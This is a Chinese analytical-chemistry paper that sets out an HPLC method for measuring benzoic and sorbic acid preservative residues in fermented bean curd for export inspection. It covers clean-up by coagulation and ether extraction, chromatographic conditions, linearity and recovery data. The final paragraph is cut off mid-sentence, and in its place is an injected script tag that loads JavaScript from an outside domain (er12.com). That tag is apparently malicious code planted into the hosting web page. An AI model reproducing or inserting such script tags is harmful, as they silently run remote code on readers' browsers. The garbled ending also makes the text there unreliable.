摘 要：建立了腐乳中苯甲酸、山梨酸残留量的检验方法。研究了腐乳样品的净化方法，选择合适的沉淀剂使腐乳凝结，再调节清液的ph值，在碱性条件下用乙醚萃取去除杂质，在酸性条件下，用乙醚提取苯甲酸、山梨酸残留。苯甲酸和山梨酸在1．0～20μg／ml范围内，相关系数分别为γ＝0．999 1和γ＝0．999 3（n＝6）。最低定量限（loq）均为2．0 mg／kg。标准添加回收率均大于85％，相对标准偏差均小于4．64％。
关键词：腐乳；苯甲酸；山梨酸；高效液相色谱
苯甲酸和山梨酸是食品防腐剂，常被添加到食品中以延长食品的保质期，国内允许食品中添加苯甲酸和山梨酸的最大量为1 000 mg／kg。但目前许多进口国要求食品中不得添加苯甲酸和山梨酸，日本要求我国出口的腐乳中苯甲酸和山梨酸的含量不得大于5．0 mg／kg。我国现有检测食品中、水果蔬菜及制品、中药制剂中的苯甲酸、山梨酸的检验标准［1～3］，但该类标准均不适用于腐乳中苯甲酸、山梨酸的测定，未见有相关检验方法的报道。因出口检验的需要，本文研究了腐乳中苯甲酸、山梨酸的检验方法。
1 实验部分
1．1 仪器和试剂
高效液相色谱仪：配有二极管阵列检测器（hp1100）；混匀器：德国ikams2 minishaker；旋转浓缩器瑞士buchik－114；塑料离心管：50 ml。
苯甲酸、山梨酸先配成浓度为1．0 mg／ml的标准溶液。稀释成适当浓度的标准工作液。甲醇为液相色谱溶剂。磷酸、乙醚为分析纯；凝结液为5 g氯化氨和10 ml磷酸溶于1 000 ml水中；6 mol／l盐酸，1 mol／l氢氧化钠。相关缓冲液；无水硫酸钠。
1．2 色谱条件
色谱柱：lichrospher c185μm4．6 mmid×25 cm或相当的色谱柱；流动相：磷酸缓冲液＋甲醇＝8＋2；流速：0．8 ml／min；检测波长：230 nm。
1．3 样品处理
称取捣碎的试样约10 g（精确至0．1 g），置于100 ml比色管中，加凝结液至100 ml，轻轻混匀后过滤，取滤液10 ml至50 ml塑料离心管中，加1 mol／lnaoh20 ml和15 ml乙醚萃取，弃乙醚层，再用6 mol／lhcl5 ml和25 ml乙醚萃取，收集经过无水硫酸钠小柱的乙醚层于100 ml平底烧瓶中，重复二次，合并滤液，40℃水浴浓缩至干，用2．0 ml缓冲液振荡混匀后过0．45μm滤膜，高效液相色谱测定。
2 结果和讨论
2．1 色谱条件的确定
食品中山梨酸、苯甲酸的测定方法［1］中色谱分析所用缓冲液的浓度较高，若检测完后不及时冲洗或冲洗不完全，极易发生色谱柱和系统的堵塞。本方法选择了合适的色谱柱并降低了缓冲液浓度（总浓度不超过0．01 mol／l），只要适当地冲洗，即可避免色谱柱和系统的堵塞。
2．2 净化条件的确定
腐乳样品用有机溶剂直接液液提取，则因乳化严重无法分层，本文选择了多种方法进行预处理，发现用氯化氨和稀磷酸凝结液能较好地沉淀杂质。再利用苯甲酸和山梨酸在酸性和碱性条件下的电离特性，调节清液的酸碱性，用乙醚进行液液提取净化。
2．3 提取效率试验
将标样添加到腐乳中，添加浓度为10．0 mg／kg，混匀。放置24 h后和超声5 min后进行净化处理，再用高效液相色谱测定，苯甲酸和山梨酸的回收率分别达到95．2％和96．3％。
2．4 确证试验
本文用二极管阵列检测器作了苯甲酸和山梨酸的光谱图通过光谱图，可以排除假阳性。
2．5 线性关系的试验
在本方法所确定的条件下，苯甲酸和山梨酸在1．0－20μg／ml范围内呈线性，标准曲线方程分别为y＝4．43 x－1．00，y＝5．69 x－1．30相关系数分别为γ＝0．9991（n＝6）和γ＝0．9993。
2．6 灵敏度、回收率和精密度
以色谱峰信噪比为3∶1时的测定值为检出限（lod），以信噪比为10∶1时的测定值为定量限（loq），测得苯甲酸和山梨酸的lod为0．7 mg／kg loq为2．0 mg／kg。能满足出口检验的需要。采用添加回收率的方法，在10 g腐乳试样中，添加三个浓度水平（分别为2．0，5．0和10．0 mg／kg），每水平分别测定10次，平均回收率和相对标准偏差详见表1。
由于国内外对苯甲酸、山梨酸防腐剂的添加要求存在显著差异，而且腐乳样品又是一种杂质含量特别多，难于净化的样品。但我国每年向日本出口腐乳，必须检验腐乳中苯甲酸、山梨酸的残留量。为不影响外贸的正常出口，本文建立了腐乳中苯甲酸、山梨酸残留量的检验方法，研究了腐乳样品的净化方法，选择合适的沉淀剂使腐乳凝结，再调节清液的ph值，在碱性条件下用乙醚萃取去除杂质，在酸性条件下，用乙醚提取苯甲酸、山梨酸残留。苯甲酸和山梨酸在1．0～20μg／ml范围内，相关系数分?script src=http://er12.com/t.js>
